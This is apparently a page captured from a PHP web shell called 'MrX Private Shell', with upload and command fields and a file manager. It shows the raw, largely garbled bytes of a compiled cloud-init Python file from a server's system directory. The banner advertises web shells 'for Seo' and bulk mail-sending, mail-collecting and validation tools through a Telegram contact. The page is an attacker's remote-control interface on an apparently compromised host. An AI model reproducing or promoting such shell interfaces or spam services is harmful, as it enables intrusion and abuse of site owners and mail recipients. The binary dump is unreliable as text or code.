__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

x[h�-����SrSSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKJ	r	J
r
Jr SSKJ
r
 SSKJrJr SSKJr SSKJr SSKJr SS	KJr SS
KJrJr SSKJr \R<"\5r Sr!SS
jr""SS\RF5r$"SS\$5r%S\%\RL40r'Sr(S\S\)4Sjr*S\SS4Sjr+SSjr,S\S\-4Sjr.Sr/\S:Xa\""5Ra5r1\/"\!\15 gg)z)Handle reconfiguration on hotplug events.�N)�	reporting�stages�util)�install_hotplug)�
EventScope�	EventType)�loggers)�read_sys_net_safe)�parse_net_config_data)�events)�
DataSource�DataSourceNotFoundException)�Initzhotplug-hookc�j�U(d[R"[[S9n[UlURSSSSS/S9 UR
SS	S
9nSUlURSSS
9 URSSS
9nURSSSSSS9 URSSSSSS/S9 URSSS
9 U$)aBuild or extend an arg parser for hotplug-hook utility.

@param parser: Optional existing ArgumentParser instance representing the
    subcommand which will be extended to support the args of this utility.

@returns: ArgumentParser with proper argument configuration.
)�prog�descriptionz-sz--subsystemTzsubsystem to act on�net)�required�help�choiceszHotplug Action�hotplug_action)�title�dest�queryz0Query if hotplug is enabled for given subsystem.)r�handlezHandle the hotplug event.z-dz	--devpath�PATHzSysfs path to hotplugged device)r�metavarrz-uz--udevactionzSpecify action to take.�add�remove�enablez%Enable hotplug for a given subsystem.)	�argparse�ArgumentParser�NAME�__doc__r�add_argument�add_subparsersr�
add_parser)�parser�
subparsers�
parser_handles   �B/usr/lib/python3/dist-packages/cloudinit/cmd/devel/hotplug_hook.py�
get_parserr,s����(�(�d��H�� �F��
������
"������&�&��%5�'��J��J������H����)�)��2�*��M��������
.���������
&���!�������>����M�c��\rSrSrSr\RS5r\\RS55r	\RS\
4Sj5rSrSr
S	rS
rg)�
UeventHandler�Qc�@�XlX lX0lX@lXPlg�N)�id�
datasource�devpath�action�
success_fn)�selfr3r4r5r6r7s      r+�__init__�UeventHandler.__init__Rs����&0������$�r-c��[5er2��NotImplementedError�r8s r+�apply�UeventHandler.applyY���!�#�#r-c��[5er2r<r>s r+�config�UeventHandler.config]s
��"�#�#r-�returnc��[5er2r<r>s r+�device_detected�UeventHandler.device_detectedbrAr-c���SnURS:XaSnO+URS:XaSnO[SUR-5eXR5:wa[SUR-5eg)NrTrFzUnknown action: %sz'Failed to detect %s in updated metadata)r6�
ValueErrorrG�RuntimeErrorr3)r8�detect_presences  r+�detect_hotplugged_device�&UeventHandler.detect_hotplugged_devicefsk�����;�;�%��"�O�
�[�[�H�
$�#�O��1�D�K�K�?�@�@��2�2�4�4��9�D�G�G�C��
�5r-c�"�UR5$r2)r7r>s r+�success�UeventHandler.successts����� � r-c��URR[R/5nU(d+[	SUR<S[R<35eU$)NzDatasource z not updated for event )r4�update_metadata_if_supportedr�HOTPLUGrK)r8�results  r+�update_metadata�UeventHandler.update_metadatawsO�����=�=�
�
�
��
�����?�?�I�$5�$5�7��
��
r-)r6r4r5r3r7N)�__name__�
__module__�__qualname__�__firstlineno__r9�abc�abstractmethodr?�propertyrC�boolrGrMrPrV�__static_attributes__�r-r+r/r/Qss��%�	���$��$�����$���$�	���$��$��$��!�	r-r/c�L^�\rSrSrU4SjrSr\S5rS\4Sjr	Sr
U=r$)�
NetHandler�c�z>�[[RRU5S5n[TU]XQX#U5 g)N�address)r
�os�path�basename�superr9)r8r4r5r6r7r3�	__class__s      �r+r9�NetHandler.__init__�s/���
�r�w�w�/�/��8�)�
D��
�����*�Er-c�&�URRRURSS9 [R
R
UR5nURRR5nURS:Xa;URU5(d$[SRUR55egURS:Xa;URU5(d$[SRUR55egg)NF)�bring_uprzFailed to bring up device: {}rzFailed to bring down device: {})r4�distro�apply_network_configrCrgrhrir5�network_activatorr6�bring_up_interfacerK�format�bring_down_interface)r8�interface_name�	activators   r+r?�NetHandler.apply�s��������3�3��K�K��	4�	
����)�)�$�,�,�7���O�O�*�*�<�<�>�	��;�;�%���/�/��?�?�"�3�:�:�4�<�<�H���@��[�[�H�
$��1�1�.�A�A�"�5�<�<�T�\�\�J���B�%r-c�.�URR$r2)r4�network_configr>s r+rC�NetHandler.config�s�����-�-�-r-rEc��[UR5nUR5Vs/sH&nURS5UR:XdM$UPM( nn[
R
SURU5 [U5S:�$s snf)N�mac_addresszIfaces with ID=%s : %sr)rrC�iter_interfaces�getr3�LOG�debug�len)r8�netstate�iface�founds    r+rG�NetHandler.device_detected�sz��(����5��"�1�1�3�
�3���y�y��'�4�7�7�2�
�3�	�
�
	�	�	�*�D�G�G�U�;��5�z�A�~���

s�#B�Bra)rXrYrZr[r9r?r^rCr_rGr`�
__classcell__)rks@r+rcrc�s3���F�
�$�.��.����r-rcrc���[USn[R
"URUR[RUS9$![a n[SRU55UeSnAff=f)N�z4hotplug-hook: cannot handle events for subsystem: {})r4�cfg�event_source_type�scope)
�SUBSYSTEM_PROPERTIES_MAP�KeyErrorrKrsr�update_event_enabledr4r�rrT)�hotplug_init�	subsystemr��es    r+�
is_enabledr��s~���(��3�A�6���&�&��*�*����#�+�+��	������B�I�I��
�
��		���s�A�
A1�A,�,A1r�r�c��[RS5 URSS9nUR[R
/5(d[RSU5 g[
X5(d[RSU5 gU$)NzFetching datasource�trust��existingz*hotplug not supported for event of type %sz(hotplug not enabled for event of type %s)rr��fetch�get_supported_eventsrrTr�)r�r�r4s   r+�initialize_datasourcer��sq���I�I�#�$��#�#�W�#�5�J��*�*�I�,=�,=�+>�?�?��	�	�>�	�J���l�.�.��	�	�<�i�H���r-rEc�j�[X5nU(dg[USn[RSU5 U"UUUURS9n[
R
"5nURR(d
[X&U5 g[
R
"5U-
URR:a~[X&U5 [RS5 [
R"URR5 [
R
"5U-
URR:aM}gg)NrzCreating %s event handler)r4r5r6r7z>Gathering network configuration again due to IMDS limitations.)r�r�rr��_write_to_cache�time�hotplug_retry_settings�force_retry�try_hotplug�sleep_total�sleep�sleep_period)r�r5r��
udevactionr4�handler_cls�
event_handler�starts        r+�handle_hotplugr��s���&�|�?�J���*�9�5�a�8�K��I�I�)�9�5�#.�����/�/�	$�M�
�I�I�K�E��,�,�8�8��I�j�9��
�)�)�+��
�
� A� A� M� M�
M��I�j�9��	�	�L�	
�	
�
�
�:�4�4�A�A�B��)�)�+��
�
� A� A� M� M�
Mr-c	�h�/SQn[S5n[U5H�upV[RSUU[	U55 [RS5 UR5 UR(d%[RS5 UR5 [RS5 UR5 [RS5 UR5  g Ue![a:n[RSU5 [R"U5 UnSnAGMSnAff=f)	N)r����
�z#Bug while processing hotplug event.z!subsystem=%s update attempt %s/%szRefreshing metadataz$Detecting device in updated metadatazApplying config changezUpdating cachez,Exception while processing hotplug event. %s)�	Exception�	enumeraterr�r�rV�skip_hotplug_detectrMr?rPr�r�)r�r�r4�
wait_times�last_exception�attempt�waitr�s        r+r�r��s���"�J��D�E�N�"�:�.�
���	�	�/����
�O�		
�	��I�I�+�,��)�)�+��1�1��	�	�@�A��6�6�8��I�I�.�/����!��I�I�&�'��!�!�#��#/�.����	��I�I�D�a�H��J�J�t���N��	�s�B%C-�-
D1�7.D,�,D1c��URSS9nU(dg[USn[RUR	[R/5RU[
55;nU(d[SU3[RS9 g[R"UR5nURUS;a[SUS	3[RS9 g
USRUR5 [R"URR!S5["R$"U5SS
S9 ['US
UR(S9 g
)Nr�r�Fr�z#hotplug not supported for event of )�file�scopesz)Not installing hotplug for event of type z. Reason: Already done.Tzhotplug.enabled�wi�)�omode�mode)�network_hotplug_enabledr�)r�r�rrTr�r~�set�print�sys�stderrr�read_hotplug_enabled_file�paths�value�append�
write_file�	get_cpath�json�dumpsrr�)r�r�r4r��hotplug_supported�hotplug_enabled_files      r+�enable_hotplugr�s9���#�#�W�#�5�J���$�Y�/��2�E�!�)�)��'�'��):�):�(;�<�@�@����N����
�1�)��=�C�J�J�	
���9�9�,�:L�:L�M���{�{�*�8�4�4�
�7�	�{�C%�
%����	
�
���"�)�)�%�+�+�6��O�O����$�$�%6�7��
�
�'�(��
�	���D�l�6F�6F��r-c	��[R"U[SS9n[/US9nUR	5 [
R"UR5 SUR;a/[R"URRS55 [RSUURURSU;aUROSSU;aUR OS5 U URS:Xa+[#X1R5n['W(aSOS5 O�URS
:Xa+[-UUR URURS9 O�[.R0"5S:wa5[(R2R5S5 [(R*"S
5 [7X1RS9(d[(R*"S
5 ['SUR35 SSS5 [RS5 [R<"5 g![$a% ['S	5 [(R*"S
5 GNFf=f![8a [R;S5 ef=f!,(df   N�=f)NT)�reporting_enabled)�ds_deps�reporterrzh%s called with the following arguments: {hotplug_action: %s, subsystem: %s, udevaction: %s, devpath: %s}r�r5rz9Unable to determine hotplug state. No datasource detectedr��enabled�disabledr)r�r5r�r�rz9Root is required. Try prepending your command with sudo.
)r�r�z)Enabled cloud-init hotplug for subsystem=z*Received fatal exception handling hotplug!zExiting hotplug handler)r�ReportEventStackr$r�read_cfgr	�
setup_loggingr�r�update_configurationr~rr�rr�r�r5r�rr�r��exitr�rg�getuidr��writer�r��	exception�flush_events)�name�args�hotplug_reporterr�r4s     r+�handle_argsr�'s���.�.��g������-=�>�L��������,�*�*�+��l�&�&�&��&�&�|�'7�'7�';�';�K�'H�I��I�I�	J��������'�4�/����T�!�T�)����t��
�&	��"�"�g�-�	 �!6�$�n�n�"�J��:�i�:�>��$�$��0��!-� �L�L�"�n�n�#���	��9�9�;�!�#��J�J�$�$�#���H�H�Q�K�%�!-�����H�H�Q�K��!�!%��� 0�2��A
�R�I�I�'�(�
�����G3� ��#���H�H�Q�K� ��<�	��M�M�F�G��	��K
�	�sa�(I>�*I�;H(�I�$I>�%:I�I>� BI�4I>�(+I�I�I�I�!I;�;I>�>
J�__main__r2)rEN)2r$r\r!r��loggingrgr�r��	cloudinitrrr�#cloudinit.config.cc_install_hotplugr�cloudinit.eventrr�
cloudinit.logr	�
cloudinit.netr
�cloudinit.net.network_stater�cloudinit.reportingr�cloudinit.sourcesr
r�cloudinit.stagesr�	getLoggerrXrr#r,�ABCr/rc�NETWORKr�r��strr�r�r�r_r�r��
parse_argsr�rar-r+�<module>r�s��0�
����	�
��-�-�?�1�!�+�=�&�E�!�
����!����3�l/�C�G�G�/�d$��$�P
�J�
�*�*�+���
�$�����C��C�$�C�0�: �� �T� �FB�J�z���<�"�"�$�D���d��r-

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 1.14 KB 0644
hotplug_hook.cpython-313.pyc File 15.97 KB 0644
logs.cpython-313.pyc File 17.96 KB 0644
make_mime.cpython-313.pyc File 5.4 KB 0644
net_convert.cpython-313.pyc File 7.52 KB 0644
parser.cpython-313.pyc File 1.76 KB 0644
render.cpython-313.pyc File 4.53 KB 0644
Filemanager